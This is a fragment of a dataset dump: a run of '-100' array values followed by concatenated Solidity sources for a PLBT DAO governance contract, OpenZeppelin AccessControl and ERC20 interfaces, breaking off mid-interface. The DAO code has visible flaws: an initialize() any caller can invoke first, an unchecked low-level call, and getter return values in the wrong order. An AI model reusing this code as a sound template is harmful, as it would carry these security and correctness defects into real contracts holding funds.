-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/PLBTStaking/IPLBTStaking.sol";
import "./interfaces/DAO/IDAO.sol";
import "./sushiswap/IUniswapV2Router02.sol";
import "./gysr/ERC20FriendlyRewardModule.sol";
import "./gysr/PoolFactory.sol";
import "./gysr/interfaces/IPool.sol";
///@title DAO contract
contract DAO is IDAO, AccessControl {
using SafeERC20 for IERC20;
/// status of vote
enum Decision {
none,
votedFor,
votedAgainst
}
/// type of proposal types
enum ChangesType {
none,
strategy,
allocation,
quorum,
majority,
treasury,
cancel
}
/// state of proposal
enum Status {
none,
proposal,
finished,
voting
}
/// struct represents a vote
struct Vote {
// amount of tokens in vote
uint256 amount;
// voting decision
Decision decision;
}
/// struct for storing proposal
struct Voting {
// voting id
uint256 id;
// in support of votes
uint256 votesFor;
// against votes
uint256 votesAgainst;
// when started
uint256 startTime;
// voting may execute only after voting ended
uint256 endTime;
// this time increases if this voting is being cancelled
uint256 finishTime;
// time when changes come in power
uint256 implementationTime;
// creator address
address creator;
// address of proposal creator
ChangesType changesType;
// proposal status
Status status;
// indicator showing if proposal was cancelled
bool wasCancelled;
// bytecode to run on the finishvote
bytes data;
}
/// represents allocation percentage
struct Allocation {
uint8 plbtStakers;
uint8 osomStakers;
uint8 lpStakers;
uint8 buyback;
}
/// represents amount of tokens in percentage put on investing strategies
struct Strategy {
uint8 autopilot;
uint8 uniswap;
uint8 aave;
uint8 anchor;
}
///@dev emmited when new proposal created
///@param creator address of proposal creator
///@param key hash passed to event in order to match with backend, for storing proposal descriptions
///@param id id of proposal
///@param startTime time when voting on proposal starts
///@param endTime time when voting on proposal ends
event ProposalAdded(
address indexed creator,
bytes32 key,
uint256 indexed id,
uint256 startTime,
uint256 endTime
);
///@dev emmited when proposal transitioned to main voting status
///@param id id of proposal
///@param startTime time when main voting starts
///@param endTime time when main voting ends
event VotingBegan(uint256 indexed id, uint256 startTime, uint256 endTime);
///@dev emmited when voting is finished
///@param id id of finished proposal
///@param executed shows if finish was successfully executed
///@param votesFor with how many tokens voted for proposal
///@param votesAgainst with how many tokens voted against proposal
event Finished(
uint256 indexed id,
bool indexed executed,
uint256 votesFor,
uint256 votesAgainst
);
///@dev emmited when someone voted on proposal
///@param voter address of voter
///@param id id of proposal
///@param decision shows if voted for or against
///@param amount amount of tokens voted with
event CastedOnProposal(
address indexed voter,
uint256 indexed id,
bool decision,
uint256 amount
);
///@dev emmited when someone voted in main voting
///@param voter address of voter
///@param id id of proposal
///@param decision shows if voted for or against
///@param amount amount of tokens voted with
event CastedOnVoting(
address indexed voter,
uint256 indexed id,
bool decision,
uint256 amount
);
///@dev modifier used for restricted function execution
modifier onlyDAO() {
require(
msg.sender == address(this),
"DAO: only dao can call this function."
);
_;
}
/// role of treasury holder
bytes32 public TREASURY_ROLE = keccak256("TREASURY_ROLE");
/// threshold for proposal to pass
uint256 public proposalMajority;
///threshold for voting to pass
uint256 public votingMajority;
/// threshold for proposal to become valid
uint256 public proposalQuorum;
/// threshold for voting to become valid
uint256 public votingQuorum;
/// debating period duration
uint256 public votingPeriod;
/// voting count
uint256 public votingsCount;
/// regular timelock
uint256 public regularTimelock;
/// cancel timelock
uint256 public cancelTimelock;
/// Allocation
Allocation public allocation;
/// Strategy
Strategy public strategy;
/// Treasury owner
address treasury;
/// for percent calculations
uint256 private precision = 1e6;
/// staking contracts
IPLBTStaking private staking;
/// tokens
IERC20 private plbt;
IERC20 private weth;
IERC20 private wbtc;
/// Router
IUniswapV2Router02 router;
///pool address
address public pool;
///GYSR Pool
address public gysr;
///OSOM address
address OSOM;
///array of function selectors
bytes4[6] selectors = [
this.changeStrategy.selector,
this.changeAllocation.selector,
this.changeQuorum.selector,
this.changeMajority.selector,
this.changeTreasury.selector,
this.cancelVoting.selector
];
/// active proposals
uint256[10] public proposals;
/// initialized
bool private initialized;
mapping(uint256 => Voting) public votings;
/// storing votes from a certain address for voting
mapping(uint256 => mapping(address => Vote)) public votingDecisions;
/// current voting
uint256 public activeVoting;
/// current cancel
uint256 public activeCancellation;
///@param _proposalMajority initial percent of proposal majority of votes to become valid
///@param _votingMajority initial percent of main voting majority of votes to become valid
///@param _proposalQuorum initial percent of proposal quorum
///@param _votingQuorum initial percent of main voting quorum
///@param _votingPeriod initial voting period time
///@param _regularTimelock initial timelock period
///@param _cancelTimelock initial cancel timelock period
///@param _allocation initial allocation config
///@param _strategy initial strategy config
constructor(
uint256 _proposalMajority,
uint256 _votingMajority,
uint256 _proposalQuorum,
uint256 _votingQuorum,
uint256 _votingPeriod,
uint256 _regularTimelock,
uint256 _cancelTimelock,
Allocation memory _allocation,
Strategy memory _strategy
) {
proposalMajority = _proposalMajority;
votingMajority = _votingMajority;
proposalQuorum = _proposalQuorum;
votingQuorum = _votingQuorum;
votingPeriod = _votingPeriod;
regularTimelock = _regularTimelock;
cancelTimelock = _cancelTimelock;
allocation = _allocation;
strategy = _strategy;
_setupRole(DEFAULT_ADMIN_ROLE, address(this));
_setRoleAdmin(TREASURY_ROLE, DEFAULT_ADMIN_ROLE);
}
///@dev initializing DAO with settings
///@param _router SushiSwap router address
///@param _treasury address of the treasury holder
///@param _stakingAddr address of staking
///@param _plbt Polybius token address
///@param _weth address of wEth
///@param _wbtc address of wBTC
///@param _poolFactory address of GYSR pool factory
///@param _stakingFactory address of GYSR staking module Factory
///@param _rewardFactory address of GYSR reward module factory
///@param _slpAddress address of PLBT-wETH LP token address
///@param _OSOM address of OSOM
function initialize(
address _router,
address _treasury,
address _stakingAddr,
address _plbt,
address _weth,
address _wbtc,
address _poolFactory,
address _stakingFactory,
address _rewardFactory,
address _slpAddress,
address _OSOM
) external {
require(!initialized, "DAO: Already initialized.");
treasury = _treasury;
_setupRole(TREASURY_ROLE, treasury);
staking = IPLBTStaking(_stakingAddr);
plbt = IERC20(_plbt);
weth = IERC20(_weth);
wbtc = IERC20(_wbtc);
PoolFactory factory = PoolFactory(_poolFactory);
bytes memory stakingdata = (abi.encode(_slpAddress));
bytes memory rewarddata = (abi.encode(_plbt, 10**18, 2592000));
pool = factory.create(
_stakingFactory,
_rewardFactory,
stakingdata,
rewarddata
);
gysr = IPool(pool).rewardModule();
OSOM = _OSOM;
router = IUniswapV2Router02(_router);
_setupRole(TREASURY_ROLE, treasury);
initialized = true;
}
///@dev distributing fund to parties and staking contracts, and buying back PLBT from Sushiswap pool
///@param toStakersWETH amount of wETH to distribute to PLBTStakers
///@param toStakersWBTC amount of wBTC to distribute to PLBTStakers
///@param toLPStakers amount of PLBT to distribute to LPStakers on GYSR
///@param toOSOMWETH amount of wETH to distribute to PLBTStakers on OSOM
///@param toOSOMWBTC amount of wBTC to distribute to PLBTStakers on OSOM
///@param toBuyback amount of wETH to swap for PLBT
function distribute(
uint256 toStakersWETH,
uint256 toStakersWBTC,
uint256 toLPStakers,
uint256 toOSOMWETH,
uint256 toOSOMWBTC,
uint256 toBuyback
) external onlyRole(TREASURY_ROLE) {
if (toStakersWETH != 0 && toStakersWBTC != 0) {
weth.safeTransferFrom(treasury, address(staking), toStakersWETH);
wbtc.safeTransferFrom(treasury, address(staking), toStakersWBTC);
staking.setReward(toStakersWETH, toStakersWBTC);
}
if (toLPStakers != 0) {
plbt.safeTransferFrom(treasury, address(this), toLPStakers);
plbt.approve(gysr, toLPStakers);
ERC20FriendlyRewardModule(gysr).fund(toLPStakers, 2592000);
}
if (toOSOMWETH != 0 && toOSOMWBTC != 0) {
weth.safeTransferFrom(treasury, OSOM, toOSOMWETH);
wbtc.safeTransferFrom(treasury, OSOM, toOSOMWBTC);
}
if (toBuyback != 0) {
uint256 total = plbt.balanceOf(address(this));
weth.safeTransferFrom(treasury, address(this), toBuyback);
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(plbt);
uint256[] memory amounts = router.getAmountsOut(toBuyback, path);
weth.approve(address(router), amounts[0]);
router.swapTokensForExactTokens(
amounts[1],
amounts[0],
path,
address(this),
block.timestamp + 600
);
uint256 current = plbt.balanceOf(address(this));
uint256 burn = current - total;
plbt.safeTransfer(address(0), burn);
}
}
function changeOSOM(address _address) external onlyRole(TREASURY_ROLE) {
require(_address != address(0), "DAO: can't set zero-address");
OSOM = _address;
}
///@dev function which matches function selector with bytecode
///@param _changesType shows which function selector is expected
///@param _data bytecode to match
modifier matchChangesTypes(ChangesType _changesType, bytes memory _data) {
require(
_changesType != ChangesType.none,
"DAO: addProposal bad arguments."
);
bytes4 outBytes4;
assembly {
outBytes4 := mload(add(_data, 0x20))
}
require(
outBytes4 == selectors[uint256(_changesType) - 1],
"DAO: bytecode is wrong"
);
_;
}
///@dev function which will be called on Finish; changes proposal or main voting quorums
///@param or shows what quorum to change
///@param _quorum new quorum percent value
function changeQuorum(bool or, uint256 _quorum) public onlyDAO {
or ? votingQuorum = _quorum : proposalQuorum = _quorum;
}
///@dev function which will be called on Finish; changes proposal or main voting Majority
///@param or shows what Majority to change
///@param _majority new Majority percent value
function changeMajority(bool or, uint256 _majority) public onlyDAO {
or ? votingMajority = _majority : proposalMajority = _majority;
}
///@dev function which will be called on Finish of cancellation voting
///@param id id of main voting
function cancelVoting(uint256 id) public onlyDAO {
votings[id].status = Status.finished;
}
///@dev function which will be called on Finish; changes allocation parameters
///@param _allocation new allocation config
function changeAllocation(Allocation memory _allocation) public onlyDAO {
allocation = _allocation;
}
///@dev function which will be called on Finish; changes strategy parameters
///@param _strategy new strategy config
function changeStrategy(Strategy memory _strategy) public onlyDAO {
strategy = _strategy;
}
///@dev function which will be called on Finish; changes treasury holder address
///@param _treasury new treasury holder address
function changeTreasury(address _treasury) public onlyDAO {
revokeRole(TREASURY_ROLE, treasury);
treasury = _treasury;
grantRole(TREASURY_ROLE, treasury);
staking.changeTreasury(_treasury);
}
///@dev check if proposal passed quorum and majority thresholds
///@param proposal proposal sent to validate
function validate(Voting memory proposal) private view returns (bool) {
uint256 total = proposal.votesFor + proposal.votesAgainst;
if (total == 0) {
return false;
}
bool quorum;
uint256 supply = plbt.totalSupply() - plbt.balanceOf(address(0));
bool majority;
if (proposal.status == Status.voting) {
quorum = ((total * precision) / supply) > votingQuorum;
majority = (proposal.votesFor * precision) / total > votingMajority;
} else {
quorum = ((total * precision) / supply) > proposalQuorum;
majority =
(proposal.votesFor * precision) / total > proposalMajority;
}
return majority && quorum;
}
///@dev picks next proposal out of proposal pool
function pickProposal() private view returns (uint256 id, bool check) {
if (votings[activeVoting].status == Status.voting) {
return (0, false);
}
uint256 temp = 0;
Voting memory proposal;
for (uint256 i = 0; i < proposals.length; i++) {
proposal = votings[proposals[i]];
if (proposal.status == Status.proposal && validate(proposal)) {
(temp == 0 || proposal.startTime < votings[temp].startTime)
? temp = proposal.id
: 0;
}
}
if (temp != 0 && validate(votings[temp])) {
return (temp, true);
}
return (0, false);
}
///@dev send proposal to main voting round
///@param id id of proposal
function sendProposalToVoting(uint256 id) private {
Voting storage proposal = votings[id];
proposal.status = Status.voting;
proposal.startTime = block.timestamp;
proposal.endTime = block.timestamp + votingPeriod;
proposal.finishTime = proposal.endTime + regularTimelock;
activeVoting = id;
emit VotingBegan(proposal.id, proposal.startTime, proposal.endTime);
}
///@dev adds proposal to proposal pool
///@param _changesType type of proposal
///@param _data executable bytecode to execute on Finish
///@param id key for matching frontend request with this contract logs
function addProposal(
ChangesType _changesType,
bytes memory _data,
bytes32 id
) public matchChangesTypes(_changesType, _data) {
bool cancel = _changesType == ChangesType.cancel;
require(
!(cancel && votings[activeCancellation].status == Status.voting),
"Cancel Voting already exists"
);
if (cancel) {
Voting storage voting = votings[activeVoting];
require(
voting.wasCancelled == false && voting.status == Status.voting,
"DAO: Can't cancel twice."
);
require(
voting.endTime < block.timestamp &&
voting.finishTime > block.timestamp,
"DAO: can only cancel during timelock"
);
voting.finishTime = block.timestamp + cancelTimelock;
voting.wasCancelled = true;
}
votingsCount++;
Voting memory proposal = Voting({
id: votingsCount,
votesFor: 0,
votesAgainst: 0,
startTime: block.timestamp,
endTime: block.timestamp + votingPeriod,
finishTime: 0,
implementationTime: 0,
creator: msg.sender,
changesType: _changesType,
status: Status.proposal,
wasCancelled: false,
data: _data
});
votings[votingsCount] = proposal;
if (cancel) {
activeCancellation = votingsCount;
votings[activeCancellation].status = Status.voting;
votings[activeCancellation].finishTime = votings[activeCancellation]
.endTime;
emit ProposalAdded(
msg.sender,
id,
votingsCount,
proposal.startTime,
proposal.endTime
);
return;
}
bool proposalAdded = false;
bool check;
for (uint256 i = 0; i < proposals.length; i++) {
if (
votings[proposals[i]].status != Status.proposal ||
proposals[i] == 0
) {
check = true;
} else {
if (
votings[proposals[i]].endTime <= block.timestamp &&
votings[proposals[i]].status == Status.proposal
) {
check = !(validate(votings[proposals[i]]));
}
}
if (check) {
proposals[i] = proposal.id;
proposalAdded = true;
break;
}
}
require(proposalAdded, "DAO: proposals list is full");
emit ProposalAdded(
msg.sender,
id,
votingsCount,
proposal.startTime,
proposal.endTime
);
}
///@dev participate in main voting round
///@param id id of proposal
///@param amount amount of tokens to vote with
///@param decision shows if voted for or against
function participateInVoting(
uint256 id,
uint256 amount,
bool decision
) external {
// check if proposal is active
bool check = votings[id].status == Status.voting &&
votings[id].endTime >= block.timestamp;
require(check, "DAO: voting ended");
// check if voted
Vote storage vote = votingDecisions[id][msg.sender];
require(
vote.decision == Decision.none && vote.amount == 0,
"DAO: you have already voted"
);
// check if msg.sender has available tokens
uint256 possible = getAvailableTokens(msg.sender);
require(amount > 0 && amount <= possible, "DAO: incorrect amount");
Voting storage voting = votings[id];
vote.amount += amount;
if (decision) {
voting.votesFor += amount;
vote.decision = Decision.votedFor;
} else {
voting.votesAgainst += amount;
vote.decision = Decision.votedAgainst;
}
emit CastedOnVoting(msg.sender, id, decision, amount);
}
///@dev participate in proposal
///@param id id of proposal
///@param amount amount of tokens to vote with
///@param decision shows if voted for or against
function participateInProposal(
uint256 id,
uint256 amount,
bool decision
) external {
// check if proposal is active
bool check = votings[id].status == Status.proposal &&
votings[id].endTime >= block.timestamp;
require(check, "DAO: proposal ended");
// check if voted
Voting storage proposal = votings[id];
Vote storage vote = votingDecisions[proposal.id][msg.sender];
require(
vote.decision == Decision.none && vote.amount == 0,
"DAO: you have already voted"
);
// check if msg.sender has available tokens
uint256 possible = getAvailableTokens(msg.sender);
require(amount > 0 && amount <= possible, "DAO: incorrect amount");
vote.amount += amount;
if (decision) {
proposal.votesFor += amount;
vote.decision = Decision.votedFor;
} else {
proposal.votesAgainst += amount;
vote.decision = Decision.votedAgainst;
}
votings[proposal.id] = proposal;
(uint256 picked, bool found) = pickProposal();
if (found) {
sendProposalToVoting(picked);
}
emit CastedOnProposal(msg.sender, id, decision, amount);
}
///@dev to finish main voting round and run changes on success
///@param id id of proposal to finish
function finishVoting(uint256 id) public {
Voting storage voting = votings[id];
require(
(voting.status == Status.voting),
"DAO: the result of the vote has already been completed,"
);
require(
block.timestamp > (voting.finishTime),
"DAO: Voting can't be finished yet."
);
bool result = validate(voting);
if (result && voting.changesType != ChangesType.cancel) {
(bool success, ) = address(this).call{value: 0}(voting.data);
voting.implementationTime = block.timestamp;
}
if (voting.changesType == ChangesType.cancel) {
if (result) {
address(this).call{value: 0}(voting.data);
} else {
bytes memory data = voting.data;
uint256 id_;
assembly {
let sig := mload(add(data, add(4, 0)))
id_ := mload(add(data, 36))
}
votings[id_].finishTime = votings[id_].endTime;
finishVoting(id_);
}
}
voting.status = Status.finished;
(uint256 picked, bool found) = pickProposal();
if (found) {
sendProposalToVoting(picked);
}
emit Finished(id, result, voting.votesFor, voting.votesAgainst);
}
///@dev used for situations, when previously passed proposal wasn't finished and proposal pool is full
///@param finishId id of proposal to finish
///@param _changesType type of proposal
///@param _data executable bytecode to execute on Finish
///@param id key for matching frontend request with this contract logs
function finishAndAddProposal(
uint256 finishId,
ChangesType _changesType,
bytes calldata _data,
bytes32 id
) external {
finishVoting(finishId);
addProposal(_changesType, _data, id);
}
///@dev get all locked tokens for address `staker`, so user cannot unstake or vote with tokens used in proposals
///@param staker address of staker
function getLockedTokens(address staker)
public
view
override
returns (uint256 locked)
{
for (uint256 i = 0; i < proposals.length; i++) {
if (
(votings[proposals[i]].endTime > block.timestamp ||
validate(votings[proposals[i]])) &&
votings[proposals[i]].status == Status.proposal
) locked += votingDecisions[proposals[i]][staker].amount;
}
if (
votings[activeVoting].status == Status.voting &&
votings[activeVoting].finishTime > block.timestamp
) {
locked += votingDecisions[activeVoting][staker].amount;
}
if (
votings[activeCancellation].status == Status.voting &&
votings[activeCancellation].finishTime > block.timestamp
) {
locked += votingDecisions[activeCancellation][staker].amount;
}
return locked;
}
///@dev get available tokens for address `staker`, so user cannot unstake or vote with tokens used in proposals
///@param staker address of staker
function getAvailableTokens(address staker)
public
view
override
returns (uint256 available)
{
uint256 locked = getLockedTokens(staker);
uint256 staked = staking.getStakedTokens(staker);
available = staked - locked;
return available;
}
///@dev returns all proposals from pool
function getAllProposals() external view returns (Voting[] memory) {
Voting[] memory proposalsList = new Voting[](10); // allocate array memory
for (uint256 i = 0; i < proposals.length; i++) {
{
proposalsList[i] = votings[proposals[i]];
}
}
return proposalsList;
}
///@dev returns all votings
///@return array of proposals from pool
function getAllVotings() external view returns (Voting[] memory) {
Voting[] memory votingsList = new Voting[](votingsCount); // allocate array memory
for (uint256 i = 0; i < votingsCount; i++) {
{
votingsList[i] = votings[i + 1];
}
}
return votingsList;
}
///@dev returns proposal info with additional information for frontend
///@return proposal struct
///@return creatorAmountStaked amount of staked tokens by proposal creator
///@return quorum
///@return majority
function getActiveVoting()
external
view
returns (
Voting memory,
uint256 creatorAmountStaked,
uint256,
uint256
)
{
creatorAmountStaked = staking.getStakedTokens(
votings[activeVoting].creator
);
return (
votings[activeVoting],
creatorAmountStaked,
votingQuorum,
votingMajority
);
}
///@dev returns proposal info with additional information for frontend
///@return proposal struct
///@return creatorAmountStaked amount of staked tokens by proposal creator
///@return quorum
///@return majority
function getActiveCancellation()
external
view
returns (
Voting memory,
uint256 creatorAmountStaked,
uint256,
uint256
)
{
creatorAmountStaked = staking.getStakedTokens(
votings[activeCancellation].creator
);
return (
votings[activeCancellation],
creatorAmountStaked,
votingQuorum,
votingMajority
);
}
///@dev returns proposal info with additional information for frontend
///@param user address of the user
///@return proposal struct
///@return vote struct
///@return available amount of available for voting tokens by `user`
///@return creatorAmountStaked amount of staked tokens by proposal creator
///@return quorum
///@return majority
function getActiveVoting(address user)
external
view
returns (
Voting memory,
Vote memory,
uint256 available,
uint256 creatorAmountStaked,
uint256,
uint256
)
{
available = getAvailableTokens(user);
creatorAmountStaked = staking.getStakedTokens(
votings[activeVoting].creator
);
return (
votings[activeVoting],
votingDecisions[activeVoting][user],
creatorAmountStaked,
available,
votingQuorum,
votingMajority
);
}
///@dev returns proposal info with additional information for frontend
///@param user address of the user
///@return proposal struct
///@return vote struct
///@return available amount of available for voting tokens by `user`
///@return creatorAmountStaked amount of staked tokens by proposal creator
///@return quorum
///@return majority
function getActiveCancellation(address user)
external
view
returns (
Voting memory,
Vote memory,
uint256 available,
uint256 creatorAmountStaked,
uint256,
uint256
)
{
available = getAvailableTokens(user);
creatorAmountStaked = staking.getStakedTokens(
votings[activeCancellation].creator
);
return (
votings[activeCancellation],
votingDecisions[activeCancellation][user],
creatorAmountStaked,
available,
votingQuorum,
votingMajority
);
}
///@dev returns proposal info with additional information for frontend
///@param id id of proposal
///@return proposal struct
///@return creatorAmountStaked amount of staked tokens by proposal creator
///@return quorum
///@return majority
function getProposalInfo(uint256 id)
external
view
returns (
Voting memory,
uint256 creatorAmountStaked,
uint256,
uint256
)
{
creatorAmountStaked = staking.getStakedTokens(votings[id].creator);
return (
votings[id],
creatorAmountStaked,
votings[id].status == Status.proposal
? proposalQuorum
: votingQuorum,
votings[id].status == Status.proposal
? proposalMajority
: votingMajority
);
}
///@dev returns proposal info with additional information for frontend
///@param id id of proposal
///@param user address of the user
///@return proposal struct
///@return vote struct
///@return available amount of available for voting tokens by `user`
///@return creatorAmountStaked amount of staked tokens by proposal creator
///@return quorum
///@return majority
function getProposalInfo(uint256 id, address user)
external
view
returns (
Voting memory,
Vote memory,
uint256 available,
uint256 creatorAmountStaked,
uint256,
uint256
)
{
available = getAvailableTokens(user);
creatorAmountStaked = staking.getStakedTokens(votings[id].creator);
return (
votings[id],
votingDecisions[id][user],
creatorAmountStaked,
available,
votings[id].status == Status.proposal
? proposalQuorum
: votingQuorum,
votings[id].status == Status.proposal
? proposalMajority
: votingMajority
);
}
///@dev returns DAO configuration parameters
///@return allocation config
///@return strategy config
///@return proposal majority
///@return main voting round majority
///@return proposal quorum
///@return main voting round quorum
function InfoDAO()
external
view
returns (
Allocation memory,
Strategy memory,
uint256,
uint256,
uint256,
uint256
)
{
return (
allocation,
strategy,
proposalMajority,
votingMajority,
proposalQuorum,
votingQuorum
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
///@title Interface for PLBTSTaking contract for DAO interactions
interface IPLBTStaking {
///@dev returns amount of staked tokens by user `_address`
///@param _address address of the user
///@return amount of tokens
function getStakedTokens(address _address) external view returns (uint256);
///@dev sets reward for next distribution time
///@param _amountWETH amount of wETH tokens
///@param _amountWBTC amount of wBTC tokens
function setReward(uint256 _amountWETH, uint256 _amountWBTC) external;
///@dev changes treasury address
///@param _treasury address of the treasury
function changeTreasury(address _treasury) external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
interface IDAO {
function getLockedTokens(address staker) external view returns(uint256 locked);
function getAvailableTokens(address staker) external view returns(uint256 locked);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
